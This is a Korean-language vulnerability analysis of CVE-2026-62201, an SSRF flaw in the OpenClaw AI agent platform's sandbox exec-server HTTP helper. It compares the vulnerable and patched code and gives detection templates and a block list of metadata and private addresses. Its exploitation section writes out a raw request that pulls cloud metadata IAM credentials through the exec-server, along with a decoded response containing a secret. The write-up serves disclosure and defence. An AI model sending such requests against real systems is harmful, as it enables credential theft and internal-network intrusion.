
CVE-2026-62201 심층 분석: OpenClaw 샌드박스 exec-server 네트워크 정책 우회(SSRF). 근본 원인, 취약한 코드와 패치된 코드 비교, 악용, 탐지, 해결 방법.
심각도: 높음 · CVSS: 7.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) · CWE-918 (서버 측 요청 위조)
| 필드 | 값 |
|---|---|
| 권고 | GHSA-mgvr-6gvw-3rgr |
| NVD | CVE-2026-62201 |
| 제품 | OpenClaw (npm 패키지 openclaw) — 샌드박스 exec-server 구성 요소 |
| 영향 범위 | openclaw < 2026.6.6 |
| 패치 버전 | 2026.6.6 이상 |
| 근본 원인 | exec-server의 내장 HTTP 헬퍼(SANDBOX_HTTP_REQUEST_SCRIPT)에 SSRF 검증 누락 |
| 수정 커밋 | 21410d1c — "fix(codex): guard sandbox http requests" |
| 공격 벡터 | 공격자가 제어하는 URL을 사용한 exec-server의 http/request 핸들러로의 HTTP POST |
| 영향 | 낮은 권한의 호출자가 OpenClaw 네트워크 정책이 차단해야 하는 내부 네트워크 대상(클라우드 메타데이터, 사설 IP, localhost 서비스)에 도달 |
OpenClaw는 AI 에이전트 플랫폼으로, 샌드박스 exec-server는 에이전트가 아웃바운드 웹 호출에 사용하는 HTTP 요청 헬퍼를 노출합니다. 2026.6.6 이전 버전에는 해당 헬퍼에 SSRF 보호 기능이 없었습니다: 신뢰 수준이 낮은 호출자(플랫폼이 게이트웨이 운영자보다 덜 신뢰하는 모든 에이전트, 도구 또는 입력 경로)가 임의의 URL을 제출하고 exec-server가 호스트 네트워크 내부에서 이를 가져오도록 할 수 있었습니다.
직접적인 샌드박스 이그레스에 적용되는 네트워크 정책 검사는 요청이 exec-server HTTP 인터페이스를 경유할 때 적용되지 않았습니다. 이러한 불일치가 바로 취약점입니다: exec-server가 내부 네트워크로의 제한 없는 HTTP 프록시 역할을 했습니다.
OpenClaw가 샌드박스에서 Codex 에이전트를 실행할 때, WebSocket/HTTP 전송을 통해 JSON-RPC 메서드를 호스팅하는 로컬 exec-server(extensions/codex/src/app-server/sandbox-exec-server.ts)를 시작합니다. 해당 메서드 중 하나인 http/request는 에이전트가 URL을 가져올 수 있게 합니다. 구현은 요청을 작은 임베디드 Python 스크립트인 SANDBOX_HTTP_REQUEST_SCRIPT를 통해 전달하며, 이 스크립트가 실제 urllib 작업을 수행합니다.
요청 핸들러는 extensions/codex/src/app-server/sandbox-exec-server/http.ts에 있습니다.
Python 헬퍼는 URL을 수신하고 스킴만 확인했습니다:
# [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (요약)
def main():
input_data = json.load(sys.stdin)
url = str(input_data.get("url", ""))
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError("http/request only supports http and https URLs")
request = urllib.request.Request(url, ...)
with urllib.request.urlopen(request, timeout=timeout) as response:
handle_response(input_data, response)
이것이 전체 게이트였습니다. 다음이 없었습니다:
localhost, *.internal, metadata.google.internal …)http://169.254.169.254/로의 리다이렉트가 무비판적으로 따라짐결과: {"method":"GET","url":"http://<internal-host>/"}가 내부 응답 본문을 호출자에게 반환했습니다. exec-server는 호스트 네트워크로의 개방형 프록시였습니다.
커밋 21410d1c는 두 계층 모두에 심층 방어를 추가했습니다:
계층 1 — TypeScript 사전 검사(http.ts의 assertSandboxHttpRequestTargetAllowed):
function assertSandboxHttpRequestTargetAllowed(url: string): void {
const parsed = new URL(url);
if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
throw new SsrFBlockedError(...);
}
if (isBlockedHostnameOrIp(parsed.hostname)) {
throw new SsrFBlockedError(...);
}
}
계층 2 — Python 헬퍼 강화(임베디드 스크립트의 assert_url_allowed):
localhost, localhost.localdomain, metadata.google.internal, 그리고 *.localhost, *.local, *.internal 접미사169.254.169.254, 100.100.100.200, fd00:ec2::254100.64.0.0/10, 벤치마킹 198.18.0.0/15, 문서용 2001:db8::/32 등ipaddress 분류: 루프백, 사설, 링크-로컬, 멀티캐스트, 예약, 미지정GuardedRedirectHandler: 모든 리다이렉트 홉은 따라가기 전에 assert_url_allowed를 다시 실행합니다::ffff:a.b.c.d), 6to4(2002::/16), Teredo 및 ISATAP 형식이 언랩되고 내장된 IPv4가 검사됩니다def assert_url_allowed(url):
parsed = urllib.parse.urlparse(url)
...
hostname = normalize_hostname(parsed.hostname)
if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
raise ValueError("Blocked hostname or private/internal/special-use IP address")
results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
addresses = {entry[4][0] for entry in results if entry[4]}
if not addresses or any(is_blocked_ip(address) for address in addresses):
raise ValueError("Blocked: resolves to private/internal/special-use IP address")
PINNED_ADDRESSES[hostname] = sorted(addresses)
2026.6.6http/request를 호출할 수 있는 능력(플랫폼은 이를 낮은 권한 액세스로 취급 — 예: 플러그인, 도구 또는 입력 경로, 게이트웨이 운영자가 아님)1단계 — 내부 서비스를 대상으로 하는 요청 전송:
POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json
{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}
2단계 — 취약한 응답 (HTTP 200):
exec-server가 내부 URL을 가져와 본문을 호출자에게 반환했습니다 — bodyBase64로 base64 래핑됨:
{
"status": 200,
"headers": [{"name":"Content-Type","value":"application/json"}],
"bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}
디코딩됨:
{
"secret": "...",
"instanceId": "...",
"region": "us-east-1",
"role": "admin-role"
}
3단계 — 패치된 응답 (HTTP 502):
{
"error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}
패치된 버전에서는 내부 대상이 exec-server를 통해 도달할 수 없습니다.
http://169.254.169.254/latest/meta-data/iam/security-credentials/ → IAM 자격 증명http://127.0.0.1:<port>/로 동일 위치의 인증되지 않은 관리 인터페이스에 접근CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7.7 높음
권고의 프레임워크가 중요합니다: OpenClaw의 신뢰된 운영자 모델은 게이트웨이 운영자가 신뢰할 수 있다고 가정합니다. 버그는 신뢰 수준이 낮은 표면(플러그인, 도구, 입력 경로)이 정책이 차단했어야 할 대상에 도달할 수 있다는 것입니다.
OAST 기반의 탐지 템플릿이 제공되며 내부 토폴로지에 대한 사전 지식이 필요 없습니다:
http:
- raw:
- |
POST /exec/http HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"method":"GET","url":"http://{{interactsh-url}}/","headers":[]}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: body
words:
- "bodyBase64"
업스트림에 제출됨: projectdiscovery/nuclei-templates#17183
url 필드가 포함된 /exec/http(또는 이에 상응하는 WebSocket JSON-RPC)로의 POST 요청169.254.169.254, 100.100.100.200)로의 요청npm install [email protected](또는 이후 버전). 수정 사항은 TS 경계와 Python 헬퍼 내부 모두에 완전한 SSRF 검증을 추가합니다.